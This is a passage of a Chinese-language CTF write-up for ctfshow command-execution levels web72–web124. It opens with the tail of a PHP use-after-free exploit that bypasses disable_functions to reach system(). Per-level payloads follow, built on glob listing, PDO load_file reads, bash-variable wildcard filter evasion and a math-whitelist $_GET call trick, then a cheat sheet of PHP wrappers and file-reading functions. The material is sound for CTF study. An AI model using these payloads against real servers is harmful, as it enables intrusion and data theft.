            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

ctfshow 命令执行 web29-web77 web118-122 web124 wp_第5张图片ctfshow 命令执行 web29-web77 web118-122 web124 wp_第6张图片

web73

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flagc.txt home lib media mnt opt proc root run sbin srv sys tmp usr var


c=require("/flagc.txt");exit();

web74

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
    
    
c=require("/flagx.txt");exit();

***web75

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var


c=require("/flag36.txt");exit();

好 报错了,看来不能用require了,我去试试include。
好 还是不能

看了南神博客,payload如下。

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();

bin dev etc flag36d.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

php7.4
先和之前一样读取目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

发现flag是flag36x.txt,还有个readflag
然后看群主的hint
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
这里因为不能回显,所以利用重定向将readflag内容输出到其他地方

c=?>system("/readflag >flag.txt");exit();

web118

源代码看到system($code);但是输入ls他直接拦下来了

于是写个脚本fuzz一下

发现ABCDEFGHIJKLMNOPQRSTUVWXYZ#$.:;?@_{}~都可用,其他不可用

!preg_match('/\x09|\x0a|[a-z]|[0-9]|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/'

于是使用bash内置变量来利用

ctfshow 命令执行 web29-web77 web118-122 web124 wp_第7张图片

首先确定要使用的命令,有:cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

然后想办法构造,可以看到字母和0的作用是相同的

这里第一想法肯定是构造最短的nl

但是靶机不给我回显,看不出他和我本地到底一不一样

最后还是去看南神博客去了

PATH回显/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

然后因为一般题目都在/var/www/html下

于是就得到了nl,再用???.???去匹配到flag.php

${PATH:~A}${PWD:~A} ????.???

然后查看源代码即可

web119

在之前的基础上ban掉了PATH、BASH

可惜了,本来PATH过滤掉了之后想构造head,因为已经能拿到he,但是BASH又被过滤就没办法了,最后还是去用了hint里面的payload

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web120

终于白名单了


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

这里就想办法用上面的payload来变形,首先就是能用?的就用?

能发现上一个payload的${HOME:${#HOSTNAME}:${#SHLVL}}特别占位置,于是想到找其他字母

由于是靶场环境,一般给的权限都是www-data,这里就可以利用?a?来指代cat

${PWD::${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???

然后查看源代码

web121


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

这里可以构造/bin/bash64来输出,而RANDOM的输出在我靶机上一般为4和5,很少的时候是3

${PWD::${##}}输出/ ${RANDOM}输出随机数 ${#RANDOM}输出随机数字的长度,所以加上#就是输出他输出内容的长度

code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???

web122

过滤了PWD、#,白名单了HOME

查看一下hint $? $?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

这里copy一下南神找的资料

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"

利用

code=
import requests
url = 'http://5186025a-cc19-4b5b-bd65-1258825fc3dc.challenge.ctf.show/'
data = {'code':'}
while True:
    r = requests.post(url=url,data=data).text
    if('PD9w' in r):
        print(r)
        exit()

web124

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这里想办法构造system(‘xxx’)来执行任意命令

可以向办法构造$_GET[a]($_GET[b]),这样传入a=system&b=ls就能够执行命令了

payload

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{sin}($$pi{cos})&sin=system&cos=tac flag.php

在线进制转换:https://tool.lu/hexconvert/

hex2bin的10进制为37907361743

dechex的作用是十进制转换为十六进制

_GET转16进制再转10进制的值为1598506324

hex2bin把十六进制的字符串转换为ASCII码

用pi当变量的原因是pi在白名单中,变量名只要在白名单中都可以,后面的sin和cos也是一样的

知识点总结

1.linux知识:通配符

  • 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
    ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
    [abcd] 匹配abcd中任何一个字符
    [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

对于linux cat和ca’'t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制

2.同system的命令执行函数

system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec()system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。 
`(反引号):同 shell_exec() 

3.空格绕过

${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09

4.同cat用法的函数

cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

5.伪协议

总:
file:// 协议
php:// 协议
zip:// bzip2:// zlib:// 协议
data:// 协议
http:// 协议 https://协议
phar:// 协议

分:
file:// 协议:
		条件 allow_url_fopen:off/on  allow_url_include :off/on
		作用:用于访问本地文件系统。在include()/require()等参数可控的情况下,如果导入非php文件也会被解析为php
		用法:1.file://[文件的绝对路径和文件名]
	 		2.[文件的相对路径和文件名]
	 		3.[http://网络路径和文件名]

php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memory php://temp 需要on allow_url_fopen:off/on
		作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码
		php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)     read=(可选)    write=(可选)
		对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、string.strip_tags、convert.base64-encode & convert.base64-decode
         用法举例:php://filter/read=convert.base64-encode/resource=flag.php

zip:// bzip2:// zlib:// 协议:
        条件:allow_url_fopen:off/on      allow_url_include :off/on
        作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
        用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
        	 compress.bzip2://file.bz2
        	 compress.zlib://file.gz
        其中phar://和zip://类似

data:// 协议:
        条件:allow_url_fopen:on    allow_url_include :on
        作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
        用法:data://text/plain,            data://text/plain;base64,
        举例:data://text/plain,
        	 data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
        由此可见,web37这道题可以用data://伪协议来执行代码

6.函数获得目录

getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串

get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。payload:var_dump(current(get_defined_vars()));

session_id()session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
    如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,即传入?exp=eval(hex2bin(session_id(session_start())));     并设置cookie:PHPSESSID=706870696e666f28293b
    session_start 函数是为了开启session
    
配合使用的函数:
	print_r(scandir(.)); 查看当前目录下的所有文件名
    var_dump()
	localeconv() 函数返回一包含本地数字及货币格式信息的数组。
	current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
	each() 返回数组中当前的键/值对并将数组指针向前移动一步
	end() 将数组的内部指针指向最后一个单元
	next() 将数组中的内部指针向前移动一位
	prev() 将数组中的内部指针倒回一位
	array_reverse() 以相反的元素顺序返回数组

7.输入输出

0   标准输入
1   标准输出
2   错误输出
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
区别:
2>/dev/null   把错误输出到空设备(即丢弃)
>/dev/null 2>&1   相当于1>/dev/null 2>&1   即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null   错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃

重定向>>>   前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.

8.$(())整数运算

echo $(()) = 0
对其取反
echo $((~$(()))) = -1
取反加起来
echo $(($((~$(())))$((~$(()))))) = -2
对上面的取反
echo $((~$(($((~$(())))$((~$(()))))))) = 1

百度之后,发现$(())是用来作整数运算
如a=5 b=7 c=2
echo $((a+b*c)) = 19
$(())能进行的运算有
+ - * / 加、减、乘、除

% 余数运算

& | ^ ! AND、OR、XOR、NOT运算

9.读取文件的函数

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

10.读取目录的函数2.0

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

你可能感兴趣的:(ctf,ctfshow,笔记,信息安全,php)